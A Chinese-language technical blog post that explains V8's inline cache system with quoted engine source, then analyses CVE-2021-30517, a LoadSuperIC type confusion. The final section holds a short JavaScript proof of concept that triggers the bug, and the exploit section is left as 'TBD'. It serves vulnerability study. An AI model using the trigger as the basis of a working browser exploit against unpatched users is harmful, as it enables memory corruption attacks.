本文站在巨人肩膀上浅析 V8 中的内联缓存机制,并以一个典型例子分析其实际漏洞。
内联缓存机制概述 #
内联缓存(Inline Cache,IC)是V8 引擎用于优化 JavaScript 属性访问性能的技术。V8 通过 IC 在代码的特定调用点缓存对象的形状(Shape,或称隐藏类,Hidden Class),从而加速后续的属性访问。
const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };
// `object1` and `object2` have the same shape.
All JavaScript engines use shapes as an optimization, but they don’t all call them shapes:
- Academic papers call them Hidden Classes (confusing w.r.t. JavaScript classes)
- V8 calls them Maps (confusing w.r.t. JavaScript
Map
s)
V8 中称之为 map ,因此下文全部采用 map。
添加属性的顺序会影响 map。例如, { x: 4, y: 5 }
与 { y: 5, x: 4 }
生成的 map 不同。
关于 map 的更多介绍,可以参考V8中的隐藏类(Hidden Classes)和内联缓存(Inline Caching)一文。一言以蔽之,当对象共享 map 的时候,内联缓存能够省略 map 的查找过程来优化访存过程。
IC 通过 FeedbackVector 收集运行时的属性访问信息(如对象类型、属性名等),并据此优化后续执行。IC 根据对象的 map 和状态生成 handler,handler 是快速执行属性访问的代码片段。
FeedbackVector 缓存了 map 和与之对应的 handler ,IC 相关的逻辑就可以简化为通过访问 FeedbackVector 即可判断是否 IC Hit 并执行对应的 handler。
IC 有三种状态(未初始化除外):
- 单态 IC:IC 在该位置只检测到一种 map 的对象
- 多态 IC:IC 在同一位置发现第二个不同的对象 map
- 超态 IC:IC 在同一位置发现太多不同的对象 map(在 V8 中,单个调用点超过 4 个)
当对象的类型或属性访问模式发生变化时,IC 会动态调整状态并更新缓存。例如:
- 单态 → 多态:当遇到新 map 时扩展缓存。
- 多态 → 超多态:当 map 过多时放弃优化。
源码 #
https://github.com/v8/v8/tree/main/src/ic
IC is the base class for LoadIC, StoreIC, KeyedLoadIC, and KeyedStoreIC.
基类 #
IC
类是 Inline Cache 机制的基类,所有具体的 IC 类型(例如上面几个)都继承自它,包括状态管理、缓存更新、处理器计算等功能。
下面介绍类的几个核心功能。
构造函数 #
IC::IC(Isolate* isolate, Handle<FeedbackVector> vector, FeedbackSlot slot,
FeedbackSlotKind kind)
: isolate_(isolate),
vector_set_(false),
kind_(kind),
target_maps_(isolate),
target_maps_set_(false),
slow_stub_reason_(nullptr),
nexus_(isolate, vector, slot) {
DCHECK_IMPLIES(!vector.is_null(), kind_ == nexus_.kind());
state_ = (vector.is_null()) ? NO_FEEDBACK : nexus_.ic_state();
old_state_ = state_;
}
- 首先设置 V8 隔离实例 (
isolate_
) 和反馈向量接口 (nexus_
) - 设置初始化目标
Map
列表 (target_maps_
) 和相关标志,用于属性访问缓存 - 设置
vector_set_
和slow_stub_reason_
,用于动态更新反馈向量和处理慢路径(超态IC)。 - 通过
DCHECK
断言确保 kind 与反馈向量的类型一致,防止配置错误。 - 如果
vector
为空,state_=NO_FEEDBACK
:表示 IC 尚未收集到运行时信息,无法进行优化,通常发生在代码首次执行时;如果vector
不为空,state_ = nexus_.ic_state()
:ic_state()
方法返回反馈向量中存储的当前 IC 状态(如单态、多态等),这些状态基于之前的运行时数据。
状态管理 #
IC 使用反馈向量(FeedbackVector
)和槽(FeedbackSlot
)记录属性访问的反馈信息,从而加速后续访问。
对不同状态IC的配置是通过函数重载实现的:
bool IC::ConfigureVectorState(IC::State new_state, DirectHandle<Object> key) {
DCHECK_EQ(MEGAMORPHIC, new_state);
DCHECK_IMPLIES(!is_keyed(), IsName(*key));
bool changed = nexus()->ConfigureMegamorphic(
IsName(*key) ? IcCheckType::kProperty : IcCheckType::kElement);
if (changed) {
OnFeedbackChanged("Megamorphic");
}
return changed;
}
将 IC 切换到超态,放弃具体类型缓存,退化到慢路径。
void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
DirectHandle<Object> handler) {
ConfigureVectorState(name, map, MaybeObjectDirectHandle(handler));
}
void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
const MaybeObjectDirectHandle& handler) {
if (IsGlobalIC()) {
nexus()->ConfigureHandlerMode(handler);
} else {
// Non-keyed ICs don't track the name explicitly.
if (!is_keyed()) name = Handle<Name>::null();
nexus()->ConfigureMonomorphic(name, map, handler);
}
OnFeedbackChanged(IsLoadGlobalIC() ? "LoadGlobal" : "Monomorphic");
}
配置单态 IC,缓存单一map
(对象隐藏类)和handler
(快速执行代码),提供最高性能的属性访问。适用于对象类型稳定的场景(如obj.x
始终访问同一类型对象)。
- 对于全局 IC(如
LoadGlobalIC
、StoreGlobalIC
),调用nexus()->ConfigureHandlerMode(handler)
:仅设置handler
,不存储map
或name
,因为全局属性访问依赖全局对象。全局 IC 通常处理全局变量访问(如window.x
)。 - 对于非全局 IC :将单一
map
和handler
存储到反馈向量;如果是键控 IC(如KeyedLoadIC
),name
用于验证缓存命中。
void IC::ConfigureVectorState(DirectHandle<Name> name, MapHandlesSpan maps,
MaybeObjectHandles* handlers) {
DCHECK(!IsGlobalIC());
MapsAndHandlers maps_and_handlers(isolate());
maps_and_handlers.reserve(maps.size());
DCHECK_EQ(maps.size(), handlers->size());
for (size_t i = 0; i < maps.size(); i++) {
maps_and_handlers.emplace_back(maps[i], handlers->at(i));
}
ConfigureVectorState(name, maps_and_handlers);
}
void IC::ConfigureVectorState(DirectHandle<Name> name,
MapsAndHandlers const& maps_and_handlers) {
DCHECK(!IsGlobalIC());
// Non-keyed ICs don't track the name explicitly.
if (!is_keyed()) name = Handle<Name>::null();
nexus()->ConfigurePolymorphic(name, maps_and_handlers);
OnFeedbackChanged("Polymorphic");
}
配置多态 IC,缓存多个map
和handler
,支持有限类型(通常 ≤4)的属性访问。适用于对象类型多样但可控的场景(如obj.x
访问几种不同类型的对象)。实现逻辑如下:
-
第一方法:
-
确保非全局 IC(
!IsGlobalIC()
,全局 IC 通常为单态或超态)。 -
创建
MapsAndHandlers
容器,存储maps
和handlers
配对(数量相等)。 -
遍历
maps
和handlers
,存入容器,调用第二方法。
-
-
第二方法:
-
非键控 IC 将
name
设为null
。 -
调用
nexus()->ConfigurePolymorphic(name, maps_and_handlers)
,将name
和多组map
、handler
存入反馈向量。 -
调用
OnFeedbackChanged("Polymorphic")
,通知反馈向量更新。
-
反馈向量内容:
- 存储
[name, map1, handler1, map2, handler2, ...]
,占用多个槽。 - 键控 IC 保留
name
(如数组索引),非键控 IC 忽略name
。
handler 管理 #
handler 是 V8 Inline Cache (IC) 系统中缓存属性访问快速执行路径的机器码或元数据(如属性偏移量或访问器),绑定对象 map,用于加速属性加载(如 obj.x)或存储(如 obj.x = value)。
bool IC::RecomputeHandlerForName(DirectHandle<Object> name) {
if (is_keyed()) {
// Determine whether the failure is due to a name failure.
if (!IsName(*name)) return false;
Tagged<Name> stub_name = nexus()->GetName();
if (*name != stub_name) return false;
}
return true;
}
检查是否需要为属性名(name)重新计算 handler。比较当前 IC 状态和反馈向量中的缓存,若 handler 与对象 Map 或 name 不匹配,返回 true,触发重新生成。确保 handler 与运行时上下文一致,避免使用失效缓存。
void MarkRecomputeHandler(DirectHandle<Object> name) {
DCHECK(RecomputeHandlerForName(name));
old_state_ = state_;
state_ = InlineCacheState::RECOMPUTE_HANDLER;
}
标记需要为属性名(name
)重新计算 handler。确认需重计算后,保存当前状态到 old_state_
,设置 state_ = RECOMPUTE_HANDLER
,为后续生成新 handler
做准备。支持动态更新缓存以适应类型变化。
bool IC::IsHandler(Tagged<MaybeObject> object) {
Tagged<HeapObject> heap_object;
return (IsSmi(object) && (object.ptr() != kNullAddress)) ||
(object.GetHeapObjectIfWeak(&heap_object) &&
(IsMap(heap_object) || IsPropertyCell(heap_object) ||
IsAccessorPair(heap_object))) ||
(object.GetHeapObjectIfStrong(&heap_object) &&
(IsDataHandler(heap_object) || IsCode(heap_object)));
}
判断对象是否为有效 IC handler。检查 object 是否为 Code 或特定元数据(如偏移量)。用于验证反馈向量中的 handler,确保存储和执行的 handler 有效。
handler 生成时根据 Map 和访问模式创建(如 JIT 编译)。存储通过FeedbackNexus::ConfigureMonomorphic
(单态,存 [name, map, handler]
或 [map, handler]
)或 ConfigurePolymorphic
(多态,存 [name, map1, handler1, ...]
)。超态不存具体 handler,标记 MEGAMORPHIC
退化慢路径。更新由 RecomputeHandlerForName
检测失效,MarkRecomputeHandler
标记后通过 ConfigureVectorState
配置新 handler。验证用 IsHandler
确保有效性。
派生类 #
以下是 V8 引擎中从IC
类派生出来的几个子类,它们分别用于优化不同类型的 JavaScript 操作
LoadIC
:读取对象静态属性(如obj.prop
)LoadGlobalIC
:读取全局变量(如alert
)KeyedLoadIC
:用动态 key 读取属性(如obj[key]
或arr[i]
)StoreIC
:写入对象静态属性(如obj.prop = val
)StoreGlobalIC
:写入全局变量(如x = 1
)KeyedStoreIC
:用动态 key 写入属性(如obj[key] = val
)StoreInArrayLiteralIC
:给数组字面量元素赋值(如[1, 2, foo()]
中的foo()
)
CVE-2021-30517 #
这个漏洞可以说是后续多个 IC 漏洞的始祖,CVE-2021-38001、CVE-2022-1134等都与其有异曲同工之妙。
漏洞成因 #
https://issues.chromium.org/issues/40055688
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
ExitPoint direct_exit(this);
TVARIABLE(MaybeObject, var_handler);
Label if_handler(this, &var_handler), no_feedback(this),
non_inlined(this, Label::kDeferred), try_polymorphic(this),
miss(this, Label::kDeferred);
GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]
// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
TNode<MaybeObject> feedback = <------- [1]
TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
&if_handler, &var_handler, &try_polymorphic);
BIND(&if_handler); <------- [2]
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
&direct_exit);
}
BIND(&no_feedback); <------- [3]
{ LoadSuperIC_NoFeedback(p); }
BIND(&try_polymorphic); <------- [4]
TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
{
Comment("LoadSuperIC_try_polymorphic");
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}
BIND(&non_inlined); <------- [5]
{
// LoadIC_Noninlined can be used here, since it handles the
// lookup_start_object != receiver case gracefully.
LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
&if_handler, &miss, &direct_exit);
}
BIND(&miss); <------- [6]
direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(),
p->name(), p->slot(), p->vector());
}
[0] 如果没有 feedback vector,则走 no_feedback 分支,调用 LoadSuperIC_NoFeedback()
,由于 Lazy feedback allocation
,开始几次的路径是[0]->[3]
,最终的漏洞路径[0]->[1]->[4]->[5]
,[0]->[1]
中间的代码获取 lookup_start_object
的 Map
[1] 调用 TryMonomorphicCase
,从 FeedbackVector
中读取指定 slot 的缓存信息。如果缓存命中当前对象 Map(lookup_start_object_map
),将匹配的 handler
存入 var_handler
并跳转到 if_handler
分支
[2] if_handler
分支,CAST(var_handler.value())
传入HandleLoadICHandlerCase
,是 p->lookup_start_object()
的handler
void AccessorAssembler::HandleLoadICHandlerCase(
const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements, LoadAccessMode access_mode) {
Comment("have_handler");
TVARIABLE(Object, var_holder, p->lookup_start_object());
TVARIABLE(Object, var_smi_handler, handler);
Label if_smi_handler(this, {&var_holder, &var_smi_handler});
Label try_proto_handler(this, Label::kDeferred),
call_handler(this, Label::kDeferred);
Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);
BIND(&try_proto_handler);
{
GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
&if_smi_handler, miss, exit_point, ic_mode,
access_mode);
}
// |handler| is a Smi, encoding what to do. See SmiHandler methods
// for the encoding format.
BIND(&if_smi_handler);
{
HandleLoadICSmiHandlerCase(
p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
}
BIND(&call_handler); <------- [6]
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
p->context(), p->receiver(), p->name(),
p->slot(), p->vector());
}
}
如果 handler 是一个 Code
对象(也就是缓存中的 handler 是直接可调用的 stub,缓存的机器码),程序会走到[6]处。
然而在[6]处,却让 p->receiver()
用了 p->lookup_start_object()
的 handler。当 lookup_start_object ≠ receiver
时,会造成类型混淆。
漏洞利用 #
PoC #
function main() {
class C {
m() {
super.prototype
}
}
function f() {}
C.prototype.__proto__ = f
let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2
f.prototype
c.m()
}
for (let i = 0; i < 0x100; ++i) {
main()
C.prototype.__proto__ = f
设置了一个异常的原型链,现在原型链是:
C实例 -> C.prototype -> f (函数) -> Function.prototype -> Object.prototype
当执行super.prototype
时:
- super指向:
C.prototype.__proto__
,即函数f
- 查找prototype: 在函数
f
上查找prototype
属性 - 结果: 应该返回
f.prototype
f.prototype
是直接在函数对象上查找;super.prototype
是通过 super 机制,实际是在lookup_start_object
(即f
)上查找。
但是当 LoadSuperIC
生成(main
运行个100多次就有了)时,查找prototype
这个操作对应的handler被作用在了C
而不是f
上。
// 在LoadSuperIC中
// lookup_start_object 就是函数 f
TNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object());
// 在 HandleLoadICHandlerCase 中
// receiver 为 C
BIND(&call_handler); <------- [6]
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
p->context(), p->receiver(), p->name(),
p->slot(), p->vector());
}
如图可以看到是生成了一个查询 ProtoType 的 handler,本该用于JSFunction
,由于上述漏洞代码混淆了 holder 和 receiver 导致其被用于 JS_OBJECT
。
EXP #
TBD